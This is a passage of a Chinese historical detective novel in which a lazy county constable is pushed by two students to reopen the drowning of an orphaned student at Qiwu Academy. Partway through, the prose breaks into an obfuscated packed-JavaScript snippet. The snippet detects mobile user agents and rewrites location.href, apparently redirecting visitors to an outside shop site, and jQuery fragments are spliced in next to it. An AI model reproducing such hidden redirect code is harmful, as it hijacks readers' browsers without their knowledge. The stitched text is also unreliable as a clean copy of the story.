尸体是昨日卯初左右在半月池被几个学生发现的,仵作断得死亡时间大概是前日亥末至丑时之间;死因明确:溺毙。
死者冯安,年十九,原清河村人。母亲早亡,父亲在其十五岁那年也意外亡故,其后被“栖梧书院”院长刘偃收养,进入书院读书。
不过毕竟还是孤儿一个。
没爹没娘,没有至亲,也就没有苦主。陈玘办案一向秉承“民不举官不究”的原则,这差事自然也就好办。
陈玘是黛州县尉,一向抱着“无事发生又一天”的态度混日子。对于此类没有苦主紧缠不放且死因又相当明确的案子,办起来早已得心应手。以为昨天走了个过场,冯安的案子自然也就就此揭过,一大早上不紧不慢在街上闲溜了一圈,优哉游哉晃到一家吃惯了的面摊上,叫了一碗色香味俱全的肉丝面,准备开启神清气爽的一天,谁知屁股都还没坐热,一个衙役忽然匆匆赶来:栖梧书院又发生了命案!无奈之下急急忙忙带人赶到,却差点被气个仰倒——居然还是为了冯安的案子。
上衙门报案的是书院的学生徐达,也是他衙门同事主簿徐江的儿子。
陈玘将眼睛在徐达身上一转,立刻就明白这事不简单。
他和徐江同在一个衙门做事,平日里多有来往,两人性情也还算相合,私下也有些交情:依他对徐达这小子的了解,他是决不会干这狗拿耗子的事,加上这小子频频以眼神向自己示意身侧......不用说,这事主谋自然是他旁边那位唇红齿白,盛气凌人的富贵少爷了。
这少爷约莫十七八岁,穿着一身镶金滚银的月白云纹锦袍,发束玉冠,忖得一副端正硬秀的眉眼愈发俊逸风流,神采飞扬;加上现下他正眯着一双似笑非笑的瑞凤眼,露出几分似嘲不嘲的冷诮之色,便越发显得他整个人矜贵傲岸,十足一副不学无术的世家贵公子模样......
当然,他也知道人家也的确是个实打实的贵公子——赵棐,老子赵端是这黛州一带的首富——虽然家世远远还论不上世家,但家里的钱却是几个清流世家堆起来都抵不得的。
家里富得流油,也难怪这当儿子的以鼻孔观人。
不过陈玘不以为意。毕竟在这栖梧书院,这富家贵公子最多也只能算得上是一碟小菜。
栖梧书院是黛州最大的书院,其声名之盛却远远不止在这小小的黛州。究其缘由,还得归功于院长刘偃机觉的头脑。
这老头交游广阔,又饱读诗书,极为擅于利用口才搞人际关系,与本地多数权贵人家都交情匪浅,以至人家一听闻这学问高深的老先生开了书院,想也不想就将家中子弟交到他书院进学。
这样一来,书院的名声自然先涨一节。更两年前,他又说服一位致仕还乡的国子监博士来书院任职挂名,自此,“栖梧书院”这名声更是无风自涨,就连附近州县也有费尽心力只恨求路无门塞不进来的富贵子弟。
故而这栖梧书院除了一些千辛万苦考进来的寒门学子,更有一些权贵子弟,比如他衙门同事、上司的儿子,再比如本地唯一一个侯爵之家,安平侯之子,都通通在这书院读书。
总之可以一言蔽之:“庙小妖风盛,池浅王八多。”
跟这些官身之后比起来,像赵棐这样的富家少爷,倒是尊小佛了。
不过大小也是尊佛,虽比不得侯爵之子,平日里见了他老子也难免要给三分颜面。只不过因这赵棐身材修拔,加上他一副要笑不笑,半讽不讽,高高在上的样子,使得身高不占优势的陈玘很有种被居高临下蔑视之感,心下不免有些不快。
气不能朝这尊小佛撒,幸好旁边还有个可以出气的,于是陈玘干脆将脸一沉,立时拔高声音向徐达呵斥——
“慌报案情,你小子可知是什么罪?!”
徐达十分无语,只有尴尬一笑。心说赵棐这厮闲得没事要拉着他拿耗子,他有什么办法......按理说,他爹是主簿,他理应是跟着商晔他们和小侯爷混。奈何他爹官职太低,加上商晔这个自己老爹顶头上司商县令的儿子看他不顺眼,他也就只好退而求其次给赵棐当跑腿了。
赵棐的腿虽没那么粗,好歹也是一条腿不是......
“狗拿耗子”的赵棐少爷微一掠眉,倒是文雅有礼地冲他一笑,虽然还是有种拿鼻孔瞧人的嫌疑,谈吐倒也十分谦和。
“大人此言差矣。草民听闻大人昨日断这案子是别无他疑,是以‘失足落水’定案。今日草民报的案子,却是桩谋杀案。死者虽系一人......实则却是两桩案子,怎么能算是谎报案情呢?”
陈玘脸色顿时一沉,心里直道不妙,正要出言驳斥,有人却比他反应更大,吹胡子瞪眼道:“一派胡言!是谁准你们到祠堂来随意翻看尸体的?”
发火的不是别人,正是刚刚才紧赶慢赶赶到现场的院长刘偃。
老头子年过六十,还是颇为精神,一张脸气色红亮——也不知道是不是刚刚被气的,总之显得显得精神奕奕,除了头发胡子白了一大半,一点不像个已经迈入花甲之年的老人。
刘偃平日并不住在书院,也不在书院任课,每日虽来书院,却不过来随便转转。许是平日不用怎么操心,他睡眠倒是极好,每日总是一觉睡到大天亮。今日本来还在睡梦之中,却被下人吵醒,说是那陈县尉又来了书院,吓得他以为书院又出了人命,急急忙忙赶来,尚自气喘吁吁,就听到赵大公子这般大论,差点气晕过去。
赵棐耸了耸肩,目光却有意无意向刘偃一瞥,轻描淡写地一笑,道:“学生昨夜从家中回来,听闻书院出了事,冯安斋长竟溺死在半月池中,便觉有些奇怪。学生与冯安平日虽没打过什么交道,到底也是同窗,也听说他爹原是个做水上生意的渔民......冯安在进书院前一向也跟着他爹下水捞鱼的,水性不可能不好......既然如此,他又怎会溺死?岂不是怪事了?”
刘偃目光微微一闪,一双精明的老眼里却好像闪过些许心虚。
趁着他这一晃神的功夫,赵棐抬抬下颌,向身后一点,示意陈玘看向尸体。
“陈县尉请看,这冯安的尸体上也有显示他死因有疑的证据。”
说着,边回头向身后一人点了点头,道:“梁蒲,你说。”
陈玘这才注意到他身后还站着个瘦弱苍白的布衣少年,个子挺高,长得也算眉清目秀,然而怂眉搭眼,像是听惯了支使的。
因为断冯安是失足落水而亡,陈玘自然也就没有令人将尸体收至义庄,只交由刘偃自行处理。事发突然,刘偃便干脆将尸体暂停在书院祠堂。刚好这此事惊吓到了一些学生,他干脆也就下令停课三天,让学生各自回家去,等过了这三日,就安排下葬。
也是凑巧,前日赵棐因父亲做四十大寿,大宴七天,特请了两天假回去替父亲贺寿。昨日傍晚正要返回书院,却有人来报知说书院出了事,叫他在家再多呆上三天。
赵棐难免随口打听了几句,便得知了冯安溺亡一事,顿时便觉事有蹊跷,昨天晚上就派人告诉徐达要他早上到书院找他,同时一大早上又让人硬去“请”了梁蒲来,只谎称落了些要紧的物件在书院,让门房放他们进去。趁着书院没几个人,几人溜进祠堂查验尸体,果然发现些端倪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278899|198328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是赵棐便叫徐达又去报官。
这叫梁蒲的少年听了赵棐吩咐,便一言不发地揭开了尸体上的殓布。
时当盛夏,死者已死亡超过一日,肤色已开始隐隐发青;祠堂内檀香浓郁,香气弥漫整个祠堂,然而靠近尸体时,还是能隐隐闻到死者身上散发的腐臭尸气。
梁蒲轻轻托起死者,使死者半个身子坐起,随即指着其后脑示意陈玘道:“死者枕部这里有淤青,有点像拳脚伤,应该是生前曾被人用力按压或者击打过此处。”
陈玘目光一闪,倒也有些意外。凑近去看,果然见冯安脑后有一块青紫色的淤痕,不大不小的一块,恰恰与人的半个掌印相合;而靠近死者颈部左侧的位置恰有五点小小的青紫淤伤——单看不觉什么,这么由人一提醒,倒的确像是指印......却是他当时发现尸体的时候不曾出现的。
梁蒲低声道:“有些伤痕一开始并不会出现在死者身上,要等死者死亡一段时间之后才会出现。”
陈玘虽是个混子,但办案多年,和仵作也打过不少交道,自然也晓得这些简单的道理。当下摸了下下巴,向梁蒲看了一眼,淡淡道:“你们书院教的本事还不少。”
梁蒲不再说话,只是默默将尸体小心放下,重新盖上殓布。
赵棐淡淡道:“梁蒲他爹和他爷爷原都是黛州县衙仵作,他也跟着学得一些仵作之术,想来比大人县衙的仵作也差不得多少。”
“当然——”话锋一转,又谦和一笑,“大人若是信不过我这同窗,自可叫衙门的仵作再来验一遍尸。”
梁蒲......梁......这姓氏是有些耳熟......
陈玘目光一转,仿佛有个念头在脑海中闪过,却没理会赵棐,直起身子,目光暗暗扫向一旁沉默已久的刘偃。
这案子有蹊跷,并不在他的意料之外。
自三十多年前先帝病重,由皇后摄政,先是主张有教无类,鼓励女子读书。后先帝禅位,皇后登基,大刀阔斧,更革国政,更是允准女子可同男子一般参加科考,入朝为官。
此令方下时,受以往思想禁锢,加之家中限制,读书科考的女子并不很多。然而,当今圣上登位二十余载,风尚已大改于从前,读书科考的女子也渐多起来。为顺应上意,各地先是蜂起一批女子书院,后更是去除了男女限制,出现了一批男女混合的书院。栖梧书院便是其中之一。
只是,这时虽已不像以往那样讲究男女大防,然男女同宿书院仍是多有不便。因此像栖梧书院这般男女混合的书院,在安排住宿时往往非常严格。
栖梧书院的规矩是:男女学生分宿两斋,男子居“蠹叶斋”,女子则居“凿楹斋”。为方便处理两斋事务,刘偃又特请了一男一女两位监院分管两斋事宜。
栖梧书院每日酉时三刻关闭大门,酉时三刻至戌时二刻是学生每晚温书时间,而蠹叶、凿楹两斋则在每日戌时三刻便从外面落锁;落锁前,由书院中的两位监院各自检视各斋学生是否在斋中。每晚,两位监院则轮流在书院中巡夜。
两斋钥匙则由两位监院各自保管,且仅此一把。
也是凑巧,前天晚上,也就是冯安出事当晚,恰轮到掌管蠹叶斋的监院邓怀值夜。而他当晚恰抓了八名不守规矩的学生在祠堂抄书,一直监视他们抄到第二日卯初方散,互相可为人证。
而冯安的死亡时间经断是在亥末到丑时之间——在两斋落锁之后,又无人可以开门的情况下,这冯安却凭空出现在两斋之外的半月池,岂不怪了?
只单凭这一点,陈玘就知道,这案子有些门道。